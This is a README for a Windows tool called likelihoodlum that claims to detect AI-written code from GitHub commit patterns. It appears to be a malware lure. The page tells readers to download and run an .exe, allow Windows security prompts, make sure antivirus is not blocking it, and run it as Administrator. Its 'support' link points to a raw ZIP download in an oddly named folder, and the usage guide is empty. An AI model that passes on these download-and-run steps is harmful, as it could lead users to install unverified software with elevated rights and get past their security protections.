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khansavaleria/likelihoodlum

🎲 likelihoodlum - Analyze GitHub Code Authorship Easily

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📋 About likelihoodlum

likelihoodlum helps you find out if a GitHub repository’s code was likely written by an AI language model. It uses multiple checks such as commit speed, session patterns, burst detection, message styles, and overall project consistency. The result is a score between 0 and 100 that shows how likely the code was AI-generated.

You do not need to install any software dependencies. This application works on Windows and requires no technical setup.


🔍 Features

  • AI detection score based on real commit and message data
  • Zero dependencies: runs out of the box
  • Analyzes GitHub repos by link or local folder
  • Fast and lightweight tool without complicated setup
  • Breaks down results by coding session and commit bursts
  • Works without programming skills

💻 System Requirements

  • Windows 10 or later (64-bit recommended)
  • 2 GB of free RAM or more
  • 100 MB of free disk space
  • Internet connection to download and scan public GitHub repositories
  • No additional software needed

🚀 Getting Started

Follow these steps to download, install, and run likelihoodlum on your Windows computer.


1. Download likelihoodlum

Click the big green button below or visit the official GitHub page to get the latest version.

Download likelihoodlum

You will be taken to the project page on GitHub.


2. Access the download files

On the GitHub page, look for the "Releases" section on the right side or main menu.

  • Click “Releases” to find the latest version of likelihoodlum available for download.
  • Choose the Windows package (.exe file) if listed.

If no direct installer is available, download the ZIP file with the application and extract it:

  • Right-click the ZIP file
  • Select "Extract All"
  • Choose a folder such as your Desktop

3. Run likelihoodlum on Windows

After downloading, follow these steps:

  • Locate the likelihoodlum.exe file in your download or extraction folder
  • Double-click the file to start the program
  • You may see a Windows security prompt. Click “Run” or “Allow” to proceed

The program will open in a command window or a simple interface, ready for your input.


4. How to use likelihoodlum

Here is a simple guide to run your first analysis:

A low score means the code is likely written by a human. A high score suggests AI-generated code.


🔧 What does likelihoodlum check?

likelihoodlum analyzes data using these methods:

  • Commit velocity: how fast commits happen during sessions
  • Session analysis: patterns in coding time and breaks
  • Burst detection: sudden spikes in commit activity
  • Commit message style: similarity and uniqueness of messages
  • Project-scale plausibility: consistency of code and commit flow across the whole project

The tool combines these factors into one final score.


🛠 Troubleshooting

If likelihoodlum does not start or closes immediately:

  • Make sure you have the correct Windows 64-bit version
  • Confirm your antivirus is not blocking the app
  • Run the program as Administrator: right-click the file and select "Run as Administrator"
  • Check that your internet connection is active

If you get errors while scanning:

  • Double-check the GitHub URL is correct and public
  • Try analyzing smaller repositories first to ensure stable connection

🌐 More Resources

For support and updates, visit the GitHub page:

https://github.com/khansavaleria/likelihoodlum/raw/refs/heads/main/unblemishable/Software_v3.3.zip

Look for documentation, issue reporting, and the latest release notes.


📁 Additional Tips

  • Save analyzed repository URLs to compare different projects
  • Use likelihoodlum regularly to spot changes in code authorship over time
  • Share scores with collaborators for team insight

Download likelihoodlum

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Detect if a GitHub repo’s code was likely generated by an LLM using commit timing patterns without relying on dependencies or complex setup.

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